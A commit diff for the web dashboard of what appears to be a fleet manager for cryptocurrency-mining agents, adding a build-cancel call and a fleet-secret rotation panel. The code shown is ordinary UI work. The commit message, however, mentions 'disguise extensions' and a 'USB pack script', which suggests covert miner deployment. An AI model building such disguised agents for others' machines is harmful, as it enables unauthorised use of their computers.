feat: 10-item hardening pass - disguise extensions, USB pack script, AI auth, pool failover, forge cancel, secret rotation, dead REST wired
This commit is contained in:
@@ -18,6 +18,8 @@ async function fetchJSON<T>(url: string, options?: RequestInit): Promise<T> {
|
||||
export const api = {
|
||||
// Agents
|
||||
listAgents: () => fetchJSON<Agent[]>('/agents'),
|
||||
getAgent: (id: string) => fetchJSON<Agent>(`/agents/${id}`),
|
||||
getDashboardStats: () => fetchJSON<{ total_agents: number; online_agents: number; total_hashrate: number; total_shares: number }>('/dashboard/stats'),
|
||||
getAgentStats: (id: string, limit?: number) =>
|
||||
fetchJSON<HashrateSample[]>(`/agents/${id}/stats${limit ? `?limit=${limit}` : ''}`),
|
||||
|
||||
@@ -137,4 +139,10 @@ export const api = {
|
||||
method: 'POST',
|
||||
body: JSON.stringify({ username, password }),
|
||||
}),
|
||||
|
||||
// Cancel an in-progress forge build by its cancel token.
|
||||
cancelBuild: (cancelToken: string) =>
|
||||
fetchJSON<{ cancelled: boolean }>(`/builder/cancel/${encodeURIComponent(cancelToken)}`, {
|
||||
method: 'DELETE',
|
||||
}),
|
||||
};
|
||||
|
||||
@@ -1,6 +1,6 @@
|
||||
import { useState, useEffect, useRef } from 'react';
|
||||
import { api } from '../api/client';
|
||||
import { setStoredAuth, getStoredAuth, clearStoredAuth } from '../api/auth';
|
||||
import { setStoredAuth, getStoredAuth, clearStoredAuth, authHeaders } from '../api/auth';
|
||||
import type { ServerConfig } from '../types';
|
||||
import { HelpTip, FieldHint } from '../components/HelpTip';
|
||||
import NeonCard from '../components/NeonCard/NeonCard';
|
||||
@@ -40,6 +40,8 @@ export default function SettingsPage() {
|
||||
const [sessionUser, setSessionUser] = useState('');
|
||||
const [sessionPass, setSessionPass] = useState('');
|
||||
const [userMsg, setUserMsg] = useState('');
|
||||
const [rotatingSecret, setRotatingSecret] = useState(false);
|
||||
const [rotateMsg, setRotateMsg] = useState('');
|
||||
const fileInputRef = useRef<HTMLInputElement>(null);
|
||||
|
||||
useEffect(() => {
|
||||
@@ -148,6 +150,31 @@ export default function SettingsPage() {
|
||||
setTimeout(() => setUserMsg(''), 3000);
|
||||
};
|
||||
|
||||
const handleRotateSecret = async () => {
|
||||
if (!window.confirm(
|
||||
'Rotate fleet secret?\n\n' +
|
||||
'ALL currently connected agents will be kicked and must be re-forged to reconnect.\n\n' +
|
||||
'Click OK only if you are ready to re-forge your entire fleet.'
|
||||
)) return;
|
||||
setRotatingSecret(true);
|
||||
setRotateMsg('');
|
||||
try {
|
||||
await fetch('/api/v1/server/rotate-secret', {
|
||||
method: 'POST',
|
||||
headers: { ...authHeaders() },
|
||||
}).then(async (r) => {
|
||||
if (!r.ok) throw new Error(await r.text());
|
||||
return r.json();
|
||||
});
|
||||
setRotateMsg('Secret rotated. Re-forge all agents to reconnect.');
|
||||
} catch (e: unknown) {
|
||||
setRotateMsg('Rotation failed: ' + (e instanceof Error ? e.message : String(e)));
|
||||
} finally {
|
||||
setRotatingSecret(false);
|
||||
setTimeout(() => setRotateMsg(''), 6000);
|
||||
}
|
||||
};
|
||||
|
||||
const handleAddUser = async () => {
|
||||
if (!newUser || !newPass) return;
|
||||
try {
|
||||
@@ -603,6 +630,34 @@ export default function SettingsPage() {
|
||||
<div style={{ marginTop: '0.5rem', color: userMsg.includes('Failed') ? '#ff4444' : '#00ff00', fontSize: '0.9rem' }}>{userMsg}</div>
|
||||
)}
|
||||
</NeonCard>
|
||||
|
||||
<NeonCard accent="amber" className="settings-section">
|
||||
<h2 className="font-display">Fleet Security</h2>
|
||||
<p className="section-desc">
|
||||
A <strong>Fleet Secret</strong> is auto-generated on first server start and baked into every forged agent.
|
||||
Agents without the correct secret are rejected. Use rotation if the secret is compromised —
|
||||
it immediately kicks all connected agents; re-forge to reconnect.
|
||||
</p>
|
||||
<div style={{ display: 'flex', alignItems: 'center', gap: '1rem', flexWrap: 'wrap' }}>
|
||||
<button
|
||||
type="button"
|
||||
className="btn btn-outline"
|
||||
style={{ borderColor: 'var(--accent-red)', color: 'var(--accent-red)' }}
|
||||
onClick={handleRotateSecret}
|
||||
disabled={rotatingSecret}
|
||||
>
|
||||
{rotatingSecret ? 'Rotating…' : 'Rotate Fleet Secret'}
|
||||
</button>
|
||||
<span className="form-hint" style={{ color: 'var(--accent-amber)' }}>
|
||||
⚠ Kicks all agents. You must re-forge after rotating.
|
||||
</span>
|
||||
</div>
|
||||
{rotateMsg && (
|
||||
<p style={{ marginTop: '0.5rem', color: rotateMsg.startsWith('Rotation failed') ? '#ff4444' : '#00ff44', fontSize: '0.9rem' }}>
|
||||
{rotateMsg}
|
||||
</p>
|
||||
)}
|
||||
</NeonCard>
|
||||
</div>
|
||||
<footer style={{ marginTop: '3rem', paddingTop: '1rem', borderTop: '1px solid #333', textAlign: 'center', color: '#ff4444', fontSize: '0.85rem', fontFamily: 'monospace' }}>
|
||||
⚠️ DISCLAIMER: Use only on personal machines on your own network. Anything else is a crime.
|
||||
|
||||
Reference in New Issue
Block a user